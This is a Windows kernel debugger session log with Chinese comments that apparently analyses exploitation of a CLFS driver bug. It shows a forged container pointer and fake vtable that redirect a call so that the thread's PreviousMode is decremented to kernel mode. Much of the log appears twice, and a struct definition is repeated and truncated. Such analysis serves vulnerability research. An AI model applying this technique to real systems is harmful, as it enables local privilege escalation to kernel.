LoadContainerQ中将CONTAINER_CONTEXT中pContainer指针覆盖为新申请的容器对象实例指针
0
: kd> dps poi(ffffdc07`
82e5d5b0
)
ffffdc07`
8291bab0
fffff800`
26ec35f0
CLFS!CClfsContainer::`vftable'
ffffdc07`
8291bab8
00000000
`
00000000
ffffdc07`
8291bac0
00000000
`
00000000
0
: kd> dq ffffdc07`
82e5d598
ffffdc07`
82e5d598
00000030
`
00000000
00000000
`
00100000
ffffdc07`
82e5d5a8
00000000
`
00000000
ffffdc07`
8291bab0
ffffdc07`
82e5d5b8
00000002
`
00000001
00000000
`
00000000
1
: kd> g
Breakpoint
3
hit
CLFS!CClfsLogFcbPhysical::FlushMetadata
+
0x5d
:
fffff800`
26eb158d
488b83a8010000
mov rax,qword ptr [rbx
+
1A8h
]
1
: kd> r
rax
=
0000000040000000
rbx
=
ffffc784288ed000 rcx
=
ffff80002b167180
rdx
=
0000000000000031
rsi
=
ffffc7842a3d2930 rdi
=
0000000000000000
rip
=
fffff80026eb158d rsp
=
ffffb30823029680 rbp
=
0000000000000001
r8
=
0000000000000804
r9
=
ffffdc0782e5d590 r10
=
0000000000000000
r11
=
ffffdc0782e5c000 r12
=
ffffc784297e9dc8 r13
=
0000000000000000
r14
=
ffffc784297e9ee8 r15
=
ffffc78422c79c01
iopl
=
0
nv up ei ng nz na po nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040286
CLFS!CClfsLogFcbPhysical::FlushMetadata
+
0x5d
:
fffff800`
26eb158d
488b83a8010000
mov rax,qword ptr [rbx
+
1A8h
] ds:
002b
:ffffc784`
288ed1a8
=
0000000200000001
1
: kd> k
# Child-SP RetAddr Call Site
00
ffffb308`
23029680
fffff800`
26ef1503
CLFS!CClfsLogFcbPhysical::FlushMetadata
+
0x5d
01
ffffb308`
230296d0
fffff800`
26eeea25
CLFS!CClfsLogFcbVirtual::Cleanup
+
0x213
02
ffffb308`
23029760
fffff800`
26eee939
CLFS!CClfsLogCcb::Cleanup
+
0xb1
03
ffffb308`
230297b0
fffff800`
26ee0955
CLFS!CClfsRequest::Cleanup
+
0x65
0c
0000000a
`dc5ff920
00000000
`
00000000
0x00007ff8
`d566a395
/
/
FlushMetadata中获取的ClientContext是与CLFS_CONTAINER_CONTEXT重叠的内存.伪代码如下cltctx
-
>llCreateTime.QuadPart
=
that
-
>field_CtrateTime_1a0;替换pContainer指针为旧值
1
: kd> dq ffffdc07`
82e5d598
ffffdc07`
82e5d598
00000030
`
00000000
00000000
`
00100000
ffffdc07`
82e5d5a8
00000000
`
00000000
00000000
`
40000000
ffffdc07`
82e5d5b8
00000002
`
00000001
00000000
`
00000000
3
: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00
ffffb308`
23029618
fffff800`
26eb8655
: ffffc784`
287c1000
ffffc784`
288ed000
00000000
`
00000000
fffff800`
26eceb01
: CLFS!CClfsContainer::Close
01
ffffb308`
23029620
fffff800`
26eb87b6
: ffffdc07`
82e5d598
ffffc784`
288ed000
fffff800`
26eceb20
00000000
`
00000000
: CLFS!CClfsLogFcbPhysical::CloseContainers
+
0x69
02
ffffb308`
23029650
fffff800`
26eb8761
:
00000000
`
00000000
ffffc784`
288ed000
fffff800`
26eceb20
ffffc784`
288ed2f8
: CLFS!CClfsLogFcbPhysical::Finalize
+
0x42
03
ffffb308`
23029680
fffff800`
26eb9889
: ffffc784`
2883d801
ffffc784`
288ed250
00000000
`
00000000
ffffc784`
297e9e28
: CLFS!CClfsLogFcbPhysical::Release
+
0xb1
04
ffffb308`
230296e0
fffff800`
26eddfd2
: ffffc784`
2883d830
ffffc784`
2883d801
00000000
`
00000000
ffffc784`
2883d830
: CLFS!CClfsLogFcbVirtual::Release
+
0x69
05
ffffb308`
23029720
fffff800`
26ee0908
: ffffc784`
2883d830
ffffc784`
22c79c80
ffffc784`
2883d830
00000000
`
00000000
: CLFS!CClfsRequest::Close
+
0xd6
06
ffffb308`
23029770
fffff800`
26ee07d7
: ffffc784`
2883d830
ffffc784`
2883d830
00000000
`
00000000
fffff800`
27cf4204
: CLFS!ClfsDispatchIoRequest
+
0x108
3
: kd> r
/
/
rcx就是pContainer指针为旧值
rax
=
0000000000000000
rbx
=
ffffc784288ed000 rcx
=
0000000040000000
rdx
=
0000000000000000
rsi
=
0000000000000000
rdi
=
0000000000000000
rip
=
fffff80026eeb438 rsp
=
ffffb30823029618 rbp
=
ffffdc0782e5d598
r8
=
ffffb30823029550 r9
=
ffffdc0782e5c070 r10
=
0000000000000000
r11
=
ffffdc0782e5c000 r12
=
0000000000000000
r13
=
0000000000000001
r14
=
fffff80026eceb20 r15
=
ffffc78422c79c80
iopl
=
0
nv up ei pl nz na po nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040206
CLFS!CClfsContainer::Close:
fffff800`
26eeb438
48895c2408
mov qword ptr [rsp
+
8
],rbx ss:
0018
:ffffb308`
23029620
=
ffffc784287c1000
3
: kd> dq
0000000040000000
00000000
`
40000000
0000010d
`
844b0000
00000000
`
00000000
00000000
`
40000010
00000000
`
00000000
00000000
`
00000000
00000000
`
40000020
00000000
`
0000009c
00000000
`
00000000
/
/
ullKThreadAddress
+
dwThreadPreModePos
+
0x30
;就是Thread的PreMode地址
00000000
`
40000030
ffffc784`
29c79322
00000000
`
00000000
/
/
ThreadPreMode地址
00000000
`
40000030
ffffc784`
26d0b2e2
00000000
`
00000000
/
/
调用pContainer指针为伪造的虚表函数地址
rax
=
fffff80026f10190 rbx
=
ffffc784288ed000 rcx
=
0000000040000000
rdx
=
00000000746c6644
rsi
=
0000000000000000
rdi
=
0000000000000000
rip
=
fffff80026eb8660 rsp
=
ffffb30823029620 rbp
=
ffffdc0782e5d598
r8
=
ffffc7842a3ce08e r9
=
0000000000000006
r10
=
fffff80027216270
r11
=
ffffc78426d0b080 r12
=
0000000000000000
r13
=
0000000000000001
r14
=
fffff80026eceb20 r15
=
ffffc78422c79c80
iopl
=
0
nv up ei ng nz na pe nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040282
CLFS!CClfsLogFcbPhysical::CloseContainers
+
0x74
:
fffff800`
26eb8660
ff157abf0100 call qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff800`
26ed45e0
)] ds:
002b
:fffff800`
26ed45e0
=
{CLFS!guard_dispatch_icall_nop (fffff800`
26ebd4e0
)}
5
: kd> ln rax
(fffff800`
26f10190
) CLFS!ClfsSetEndOfLog | (fffff800`
26f101f0
) CLFS!ClfsSetLogFileInformation
4
: kd> !thread
THREAD ffffc78429c790c0 Cid
15bc
.
08e4
Teb:
00000040e33dc000
Win32Thread:
0000000000000000
RUNNING on processor
4
Child
-
SP RetAddr : Args to Child : Call Site
ffffb308`
23835618
fffff800`
26eb8655
: ffffc784`
280ef000
ffffc784`
29603000
00000000
`
00000000
fffff800`
26eceb01
: CLFS!CClfsContainer::Close
ObfDereferenceObject递减Thread的PreMode地址, 将当前线程模式改为内核模式
4
: kd> dt nt!_KTHREAD ffffc78429c790c0
-
y Previous
+
0x232
PreviousMode :
0
''
bp CLFS!CClfsBaseFilePersisted::LoadContainerQ
bp CLFS!CClfsBaseFile::GetSymbol
0
: kd> r
rax
=
0000000000000000
rbx
=
0000000000000000
rcx
=
ffffc784287c1000
rdx
=
0000000000001528
rsi
=
ffffdc0782e5c398 rdi
=
0000000000001528
rip
=
fffff80026ee2670 rsp
=
ffffb30823028f88 rbp
=
ffffb30823029760
r8
=
0000000000000000
r9
=
ffffb30823029050 r10
=
fffff800272a7040
r11
=
ffffb308230289e0 r12
=
0000000000000000
r13
=
0000000000000000
r14
=
ffffc784287c1000 r15
=
ffffb30823029198
iopl
=
0
nv up ei pl nz na po nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040206
CLFS!CClfsBaseFile::GetSymbol:
fffff800`
26ee2670
48895c2418
mov qword ptr [rsp
+
18h
],rbx ss:
0018
:ffffb308`
23028fa0
=
ffffdc0782e5c398
2
: kd> k
# Child-SP RetAddr Call Site
00
ffffb308`
23704f88
fffff800`
26ee7294
CLFS!CClfsBaseFile::GetSymbol
01
ffffb308`
23704f90
fffff800`
26eb3156
CLFS!CClfsBaseFilePersisted::LoadContainerQ
+
0x2a4
02
ffffb308`
23705100
fffff800`
26edeb7b
CLFS!CClfsLogFcbPhysical::Initialize
+
0x6da
03
ffffb308`
23705240
fffff800`
26ee0abb
CLFS!CClfsRequest::Create
+
0x4ef
04
ffffb308`
23705390
fffff800`
26ee0887
CLFS!CClfsRequest::Dispatch
+
0x97
05
ffffb308`
237053e0
fffff800`
26ee07d7
CLFS!ClfsDispatchIoRequest
+
0x87
0
: kd> gu
0
: kd> dq poi(ffffb30823029050)
ffffdc07`
82e5d598
00000030
`
00000000
00000000
`
00100000
/
/
pContainer指针
ffffdc07`
82e5d5a8
00000000
`
00000000
00000000
`
40000000
ffffdc07`
82e5d5b8
00000002
`
00000001
00000000
`
00000000
/
/
下pContainer指针硬件访问断点
ba w8 ffffdc07`
82e5d598
+
18
Breakpoint
3
hit
CLFS!CClfsBaseFilePersisted::LoadContainerQ
+
0x4e5
:
fffff800`
26ee74d5
4885c9
test rcx,rcx
/
/
LoadContainerQ中将CONTAINER_CONTEXT中pContainer指针覆盖为新申请的容器对象实例指针
0
: kd> dps poi(ffffdc07`
82e5d5b0
)
ffffdc07`
8291bab0
fffff800`
26ec35f0
CLFS!CClfsContainer::`vftable'
ffffdc07`
8291bab8
00000000
`
00000000
ffffdc07`
8291bac0
00000000
`
00000000
0
: kd> dq ffffdc07`
82e5d598
ffffdc07`
82e5d598
00000030
`
00000000
00000000
`
00100000
ffffdc07`
82e5d5a8
00000000
`
00000000
ffffdc07`
8291bab0
ffffdc07`
82e5d5b8
00000002
`
00000001
00000000
`
00000000
1
: kd> g
Breakpoint
3
hit
CLFS!CClfsLogFcbPhysical::FlushMetadata
+
0x5d
:
fffff800`
26eb158d
488b83a8010000
mov rax,qword ptr [rbx
+
1A8h
]
1
: kd> r
rax
=
0000000040000000
rbx
=
ffffc784288ed000 rcx
=
ffff80002b167180
rdx
=
0000000000000031
rsi
=
ffffc7842a3d2930 rdi
=
0000000000000000
rip
=
fffff80026eb158d rsp
=
ffffb30823029680 rbp
=
0000000000000001
r8
=
0000000000000804
r9
=
ffffdc0782e5d590 r10
=
0000000000000000
r11
=
ffffdc0782e5c000 r12
=
ffffc784297e9dc8 r13
=
0000000000000000
r14
=
ffffc784297e9ee8 r15
=
ffffc78422c79c01
iopl
=
0
nv up ei ng nz na po nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040286
CLFS!CClfsLogFcbPhysical::FlushMetadata
+
0x5d
:
fffff800`
26eb158d
488b83a8010000
mov rax,qword ptr [rbx
+
1A8h
] ds:
002b
:ffffc784`
288ed1a8
=
0000000200000001
1
: kd> k
# Child-SP RetAddr Call Site
00
ffffb308`
23029680
fffff800`
26ef1503
CLFS!CClfsLogFcbPhysical::FlushMetadata
+
0x5d
01
ffffb308`
230296d0
fffff800`
26eeea25
CLFS!CClfsLogFcbVirtual::Cleanup
+
0x213
02
ffffb308`
23029760
fffff800`
26eee939
CLFS!CClfsLogCcb::Cleanup
+
0xb1
03
ffffb308`
230297b0
fffff800`
26ee0955
CLFS!CClfsRequest::Cleanup
+
0x65
0c
0000000a
`dc5ff920
00000000
`
00000000
0x00007ff8
`d566a395
/
/
FlushMetadata中获取的ClientContext是与CLFS_CONTAINER_CONTEXT重叠的内存.伪代码如下cltctx
-
>llCreateTime.QuadPart
=
that
-
>field_CtrateTime_1a0;替换pContainer指针为旧值
1
: kd> dq ffffdc07`
82e5d598
ffffdc07`
82e5d598
00000030
`
00000000
00000000
`
00100000
ffffdc07`
82e5d5a8
00000000
`
00000000
00000000
`
40000000
ffffdc07`
82e5d5b8
00000002
`
00000001
00000000
`
00000000
3
: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00
ffffb308`
23029618
fffff800`
26eb8655
: ffffc784`
287c1000
ffffc784`
288ed000
00000000
`
00000000
fffff800`
26eceb01
: CLFS!CClfsContainer::Close
01
ffffb308`
23029620
fffff800`
26eb87b6
: ffffdc07`
82e5d598
ffffc784`
288ed000
fffff800`
26eceb20
00000000
`
00000000
: CLFS!CClfsLogFcbPhysical::CloseContainers
+
0x69
02
ffffb308`
23029650
fffff800`
26eb8761
:
00000000
`
00000000
ffffc784`
288ed000
fffff800`
26eceb20
ffffc784`
288ed2f8
: CLFS!CClfsLogFcbPhysical::Finalize
+
0x42
03
ffffb308`
23029680
fffff800`
26eb9889
: ffffc784`
2883d801
ffffc784`
288ed250
00000000
`
00000000
ffffc784`
297e9e28
: CLFS!CClfsLogFcbPhysical::Release
+
0xb1
04
ffffb308`
230296e0
fffff800`
26eddfd2
: ffffc784`
2883d830
ffffc784`
2883d801
00000000
`
00000000
ffffc784`
2883d830
: CLFS!CClfsLogFcbVirtual::Release
+
0x69
05
ffffb308`
23029720
fffff800`
26ee0908
: ffffc784`
2883d830
ffffc784`
22c79c80
ffffc784`
2883d830
00000000
`
00000000
: CLFS!CClfsRequest::Close
+
0xd6
06
ffffb308`
23029770
fffff800`
26ee07d7
: ffffc784`
2883d830
ffffc784`
2883d830
00000000
`
00000000
fffff800`
27cf4204
: CLFS!ClfsDispatchIoRequest
+
0x108
3
: kd> r
/
/
rcx就是pContainer指针为旧值
rax
=
0000000000000000
rbx
=
ffffc784288ed000 rcx
=
0000000040000000
rdx
=
0000000000000000
rsi
=
0000000000000000
rdi
=
0000000000000000
rip
=
fffff80026eeb438 rsp
=
ffffb30823029618 rbp
=
ffffdc0782e5d598
r8
=
ffffb30823029550 r9
=
ffffdc0782e5c070 r10
=
0000000000000000
r11
=
ffffdc0782e5c000 r12
=
0000000000000000
r13
=
0000000000000001
r14
=
fffff80026eceb20 r15
=
ffffc78422c79c80
iopl
=
0
nv up ei pl nz na po nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040206
CLFS!CClfsContainer::Close:
fffff800`
26eeb438
48895c2408
mov qword ptr [rsp
+
8
],rbx ss:
0018
:ffffb308`
23029620
=
ffffc784287c1000
3
: kd> dq
0000000040000000
00000000
`
40000000
0000010d
`
844b0000
00000000
`
00000000
00000000
`
40000010
00000000
`
00000000
00000000
`
00000000
00000000
`
40000020
00000000
`
0000009c
00000000
`
00000000
/
/
ullKThreadAddress
+
dwThreadPreModePos
+
0x30
;就是Thread的PreMode地址
00000000
`
40000030
ffffc784`
29c79322
00000000
`
00000000
/
/
ThreadPreMode地址
00000000
`
40000030
ffffc784`
26d0b2e2
00000000
`
00000000
/
/
调用pContainer指针为伪造的虚表函数地址
rax
=
fffff80026f10190 rbx
=
ffffc784288ed000 rcx
=
0000000040000000
rdx
=
00000000746c6644
rsi
=
0000000000000000
rdi
=
0000000000000000
rip
=
fffff80026eb8660 rsp
=
ffffb30823029620 rbp
=
ffffdc0782e5d598
r8
=
ffffc7842a3ce08e r9
=
0000000000000006
r10
=
fffff80027216270
r11
=
ffffc78426d0b080 r12
=
0000000000000000
r13
=
0000000000000001
r14
=
fffff80026eceb20 r15
=
ffffc78422c79c80
iopl
=
0
nv up ei ng nz na pe nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040282
CLFS!CClfsLogFcbPhysical::CloseContainers
+
0x74
:
fffff800`
26eb8660
ff157abf0100 call qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff800`
26ed45e0
)] ds:
002b
:fffff800`
26ed45e0
=
{CLFS!guard_dispatch_icall_nop (fffff800`
26ebd4e0
)}
5
: kd> ln rax
(fffff800`
26f10190
) CLFS!ClfsSetEndOfLog | (fffff800`
26f101f0
) CLFS!ClfsSetLogFileInformation
4
: kd> !thread
THREAD ffffc78429c790c0 Cid
15bc
.
08e4
Teb:
00000040e33dc000
Win32Thread:
0000000000000000
RUNNING on processor
4
Child
-
SP RetAddr : Args to Child : Call Site
ffffb308`
23835618
fffff800`
26eb8655
: ffffc784`
280ef000
ffffc784`
29603000
00000000
`
00000000
fffff800`
26eceb01
: CLFS!CClfsContainer::Close
ObfDereferenceObject递减Thread的PreMode地址, 将当前线程模式改为内核模式
4
: kd> dt nt!_KTHREAD ffffc78429c790c0
-
y Previous
+
0x232
PreviousMode :
0
''
typedef struct _CLFS_BASE_RECORD_HEADER
{
CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
CLFS_LOG_ID cidLog;
ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE];
ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE];
ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE];
ULONG cNextContainer;
CLFS_CLIENT_ID cNextClient;
ULONG cFreeContainers;
ULONG cActiveContainers;
ULONG cbFreeContainers;
ULONG cbBusyContainers;
ULONG rgClients[MAX_CLIENTS_DEFAULT];
ULONG rgContainers[MAX_CONTAINERS_DEFAULT];
ULONG cbSymbolZone;
ULONG cbSector;
USHORT bUnused;
CLFS_LOG_STATE eLogState;
UCHAR cUsn;
UCHAR cClients;
} CLFS_BASE_RECORD_HEADER,
*
PCLFS_BASE_RECORD_HEADER;
typedef struct _CLFS_BASE_RECORD_HEADER
{
CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
CLFS_LOG_ID cidLog;
ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE];
ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE];
ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE];
ULONG cNextContainer;
CLFS_CLIENT_ID cNextClient;
ULONG cFreeContainers;
ULONG cActiveContainers;
ULONG cbFreeContainers;
ULONG cbBusyContainers;
ULONG rgClients[MAX_CLIENTS_DEFAULT];
ULONG rgContainers[MAX_CONTAINERS_DEFAULT];
ULONG cbSymbolZone;
ULONG cbSector;
USHORT bUnused;